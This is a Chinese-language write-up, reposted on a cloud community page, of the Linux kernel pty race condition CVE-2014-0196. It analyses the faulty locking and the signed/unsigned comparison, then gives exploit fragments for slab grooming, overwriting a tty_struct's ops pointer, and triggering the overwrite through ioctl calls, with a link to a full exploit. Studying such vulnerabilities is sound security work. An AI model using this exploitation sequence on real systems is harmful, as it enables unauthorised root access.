pty/tty裝置競爭條件漏洞 (CVE-2014-0196),ptycve-2014-0196

來源:互聯網
上載者:User

pty/tty裝置競爭條件漏洞 (CVE-2014-0196),ptycve-2014-0196
前置知識

1.      pty/tty。曆史非常悠久的產物,主要用於終端的輸入輸出。介紹性的文章:http://www.linusakesson.net/programming/tty/

2.      slab。主要用於分配特定大小的記憶體,防止記憶體片段、空洞,有點類似windows核心裡的Lookaside。百度百科相關文章:http://baike.baidu.com/view/5870164.htm?fr=aladdin

 

CVE-2014-0196

這個漏洞據稱是隱藏在linux核心中長達5年之久,隨著android的興起,越來越多的人研究linux,linux下的核心漏洞也一個個被安全人員所發現。

這個漏洞的主要成因是因為在pty/tty裝置驅動中在訪問某些資源的時候沒有正確的加鎖處理,導致並髮狀態下存在條件競爭的bug。


漏洞成因主要結構

首先來看幾個重要的結構:

struct tty_buffer {    struct tty_buffer *next;    char *char_buf_ptr;    unsigned char *flag_buf_ptr;    int used;    int size;    int commit;    int read;    /* Data points here */    unsigned long data[0];};

tty_buffer是一個動態大小的對象,指標char_buf_ptr通常是指向data的第一個位元組,flag_buf_ptr指標指向data+ size位置。size的取值通常可以是以下的幾個:256,512,768,1024,1280,1536,1792(TTY_BUFFER_PAGE)。

         所以,tty_buffer對象的實際大小為:2 * size+ sizeof(tty_buffer)。2*size主要是因為char_buf和flag_buf的內容。所以tty_buffer可能被儲存在如下的核心堆slab中:kmalloc-1024,kmalloc-2048,kmalloc-4096。


struct tty_bufhead {    struct work_struct work;    spinlock_t lock;    struct tty_buffer *head;    /* Queue head */    struct tty_buffer *tail;    /* Active buffer */    struct tty_buffer *free;    /* Free queue head */    int memory_used;        /* Buffer space used excluding free queue */};

顧名思義,tty_bufhead結構是各個tty_buffer的鏈表頭。同時,tail欄位還指向最後一個,即當前活躍的那個tty_buffer。它在空閑鏈表中儲存的位元組數通常小於512位元組。


struct tty_struct {    int magic;    struct kref kref;    struct device *dev;    struct tty_driver *driver;    const struct tty_operations *ops;    /* ... */    struct tty_bufhead buf;  /* Locked internally */    /* ... */};

tty_struct資料結構在核心中標識了一個tty/pty。其中buf欄位即上述的tty_bufhead資料結構。


關鍵函數分析

問題主要出在tty_insert_flip_string_fixed_flag這個函數中,函數呼叫堆疊大致如下:

write(pty_fd) in userspace ->

sys_write() in kernelspace ->

tty_write() ->

pty_write() ->

tty_insert_flip_string_fixed_flag()

 

代碼如下:

int tty_insert_flip_string_fixed_flag(struct tty_struct *tty,        const unsigned char *chars, char flag, size_t size){    int copied = 0;    do {        int goal = min_t(size_t, size - copied, TTY_BUFFER_PAGE);        int space = tty_buffer_request_room(tty, goal);         /* -1- */        struct tty_buffer *tb = tty->buf.tail;        /* If there is no space then tb may be NULL */        if (unlikely(space == 0))            break;        memcpy(tb->char_buf_ptr + tb->used, chars, space);      /* -2- */        memset(tb->flag_buf_ptr + tb->used, flag, space);               tb->used += space;                                     /* -3- */        copied += space;        chars += space;        /* There is a small chance that we need to split the data over           several buffers. If this is the case we must loop */    } while (unlikely(size > copied));    return copied;}

這個函數邏輯很簡單,在-1-處調用tty_buffer_request_room函數判斷是否還有空閑記憶體,如果沒有則申請。

-2-處將應用程式層傳下來的內容拷貝到tty_buffer中。

-3-處遞增tty_buffer. used的位元組數。

 

下面再來看看tty_buffer_request_room函數的實現:

int tty_buffer_request_room(struct tty_struct *tty, size_t size){    struct tty_buffer *b, *n;    int left;                                   /* -1- */    unsigned long flags;    spin_lock_irqsave(&tty->buf.lock, flags);   /* -2- */    /* OPTIMISATION: We could keep a per tty "zero" sized buffer to       remove this conditional if its worth it. This would be invisible       to the callers */    if ((b = tty->buf.tail) != NULL)        left = b->size - b->used;               /* -3- */    else        left = 0;    if (left < size) {                          /* -4- */        /* This is the slow path - looking for new buffers to use */        if ((n = tty_buffer_find(tty, size)) != NULL) {            if (b != NULL) {                b->next = n;                b->commit = b->used;            } else                tty->buf.head = n;            tty->buf.tail = n;        } else            size = left;    }    spin_unlock_irqrestore(&tty->buf.lock, flags);    return size;}

可以看到這裡tty_buffer_request_room函數傳進來的第二個參數size是一個size_t類型的參數,而size_t其實就是無符號整型unsignedlong。再來看看-1-處的left是一個int類型的,即有符號整型。

-2-處有一個自旋鎖的保護,但是這個鎖保護的範圍太小了,也是造成我們競爭條件成立的一個重要原因之一。

-4-處是一個if (left< size)的比較,但是正如前所述,left是int型,有符號數,而size是一個無符號數。left的值從何而來,-3-處left = b->size - b->used;當b->size >b->use的時候,那麼left有可能會是一個負數。-4-處的比較,如果負數和無符號數比較會被轉成無符號數,因此條件不成立,函數以為buffer空間還是夠用的,因此不會分配空間。

 

上面說了這麼多可能還有點抽象,我特地寫了一個測試程式,代碼如下:

#include "stdafx.h"int _tmain(int argc, _TCHAR* argv[]){int a = -1;size_t b = 10;if (a < b)printf("%d < %d", a, b);elseprintf("%d > %d", a, b);getchar();return 0;}

程式輸出如下:

看了這個例子之後,那麼上面tty_buffer_request_room函數的那個比較也就一目瞭然了。但是什麼時候能使得int型的left(left = b->size - b->used)為負數呢,即b->size< b->used。下面來看一個競爭條件成立時的情境:


從可以看出,贏得競爭條件的最大要訣是B進程在進入tty_buffer_request_room函數並計算left值的時候,A進程還沒來得急更新tb->used的值。

正因為memcpy函數的執行耗時比較久,所以使得上述的假設有很大的幾率能夠滿足競爭條件。

當前tty_buffer被寫滿之後,即tb->used> tb->size,那麼我們後續的寫入操作就可以隨便我們控制寫到相鄰的tty_struct中去了。


如何利用

Poc主要以kmalloc-1024為例:
1.首先建立一個我們用來溢出用的目標tty_struct。

if (openpty(&master_fd, &slave_fd, NULL, NULL, NULL) == -1) {puts("\n[-] pty creation failed");return 1;}

2.然後建立30個tty_struct,使得slab堆變得排列有序。

#define RUN_ALLOCS    30for (j = 0; j < RUN_ALLOCS; ++j)if (openpty(&fds[j], &fds2[j], NULL, NULL, NULL) == -1) {puts("\n[-] pty creation failed");return 1;}

3.建立線程開始溢出。

void *overwrite_thread_fn(void *p) {    write(slave_fd, buf, 511);    write(slave_fd, buf, 1024 - 32 - (1 + 511 + 1));    write(slave_fd, &overwrite, sizeof(overwrite));}

前面兩句主要用來寫滿一個slab,其中的32位元組表示sizeof(structtty_buffer)。最後一句write(slave_fd, &overwrite, sizeof(overwrite));如果在贏得競爭條件的情況下,會覆蓋後面的salb開頭的幾個位元組,於是乎該tty_struct就被改寫了。其中tty_struct結構中有一個ops成員,該成員是一個指標數組,其中的每個元素對應著一個tty裝置的操作,例如open(),close(),ioct()等。

overwrite指標數組的每個元素都指向payload,只要對每個裝置執行open、ioctl等操作,就有機會觸發那個溢出的tty_struct,從而獲得root許可權。


4.觸發payload

for (j = 0; j < RUN_ALLOCS; ++j) {if (j == RUN_ALLOCS / 2)continue;ioctl(fds[j], 0xdeadbeef);ioctl(fds2[j], 0xdeadbeef);close(fds[j]);close(fds2[j]);}ioctl(master_fd, 0xdeadbeef);ioctl(slave_fd, 0xdeadbeef);

漏洞修複

補丁很簡單,就是在tty write外層加了一個鎖。

..


參考文章

http://www.linusakesson.net/programming/tty/

http://blog.includesecurity.com/2014/06/exploit-walkthrough-cve-2014-0196-pty-kernel-race-condition.html

https://github.com/jocover/CVE-2014-0196/blob/master/cve-2014-0196-md.c
















聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.